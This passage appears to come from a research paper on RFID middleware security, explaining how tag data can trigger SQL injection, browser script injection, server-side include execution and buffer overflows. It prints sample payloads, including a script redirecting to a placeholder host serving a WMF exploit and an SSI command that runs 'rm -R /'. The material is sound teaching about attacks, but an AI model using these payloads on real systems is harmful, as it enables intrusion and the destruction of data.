Database Components
The database, or the middleware’s handling of the database, is one of the areas where vulnerabilities may arise.RFID middleware systems generally use a database to store information that is read from tags and written to them. If the middleware does not treat the data read from the tag correctly, it may be possible to trick the database into executing SQL code that is stored on the tag. This is known as SQL injection.Normally, the tag’s data should not be interpreted as code, but programming errors in the middleware may make it possible. If the middleware inserts the data in an SQL query, without escaping it properly, the data can modify the query. Usually, this involves including a quote in the data, which is interpreted by the SQL parser as ending a section of data and starting the next section of code. The data following the quote is then interpreted as code.As an example, consider the following query:
INSERT INTO ContainerContents VALUES ('%id%', '%data%')
|
where %id%
is replaced with the tag’s id and %data%
is replaced with the tag’s data.
If the tag’s data contains the following:
Apples');
|
any data following the semicolon will be interpreted as a new query.
Web-Based Components
Many middleware systems use web-based components, for example to provide a user-interface, or to query databases in different parts of the world. These web-based components may also be vulnerable to attacks.If a web browser is used to display that from tags – either directly or indirectly, through the database – it may be possible to abuse the dynamic features offered by modern browsers, by including Javascript code on the tag. An example Javascript command is shown in Exploit 2.
<script>document.location='http://ip/exploit.wmf';</script>
|
This example redirects the browser to a WMF file, which could contain an exploit of the recently discovered WMF-bug.Another way in which web-based components may be exploited, is through server-side includes (SSI). SSI is a technology that allows webpages to be generated on the fly, by executing commands on the webserver when a webpage is requested. By including SSI commands on a tag, it may be possible to trick the webserver into executing malicious code, using SSI’s exec
command, as in Exploit 3.
<!--#exec cmd="rm -R /"-->
|
This example deletes all files on the harddisk.
Glue Code
The code that ties the RFID reader interface to the middleware is likely to be written in a low-level language such as C or C++. Any code written in such a language may be vulnerable to buffer overflows.It may seem counterintuitive that RFID tags with their limited memory could cause a buffer overflow, but this may still be possible if the middleware expects to read only small amounts of data. Most RFID tags include information on the amount of memory they contain. If the reader code uses this information to determine the amount of data to read, it may read more data than expected, causing its buffer to overflow. Simply using fixed-size tags is not enough to prevent buffer overflows, as attackers may introduce unauthorized tags.
An example overflow is shown in Exploit 4.
|
The first rows of the exploit contain a normal content string using SQL injection. Our buffer overflow takes place after the query is executed. It does not need to execute without errors, but this prevents an error being logged.The actual exploit takes part in the last two rows, which are explained below.
|
If string-handling functions are used to copy the tag’s data, it is impossible to include 0-bytes in the buffer overflow, which limits the scope of the attack. In this case, it is impossible to include addresses in the attack, which means that it is difficult to craft code that will run from the stack. On little-endian systems, it is still possible to do some damage, as the string’s terminating 0-byte can be used to form a single address. This address can be used to jump to existing code, as in Exploit 5.
|
In this example, a normal content string using SQL injection is used. This allows the database query to execute without errors, which is required in our case, since the buffer overflow takes place after a call to the database. After the content, the tag contains enough spaces to fill up the buffer, 174 in our case. This is followed by three bytes that form the return address. As the tag’s data is treated as a string, a 0-byte will be placed after this string. Our test system is a little-endian system, so the return address will be 0x0040B2F0
.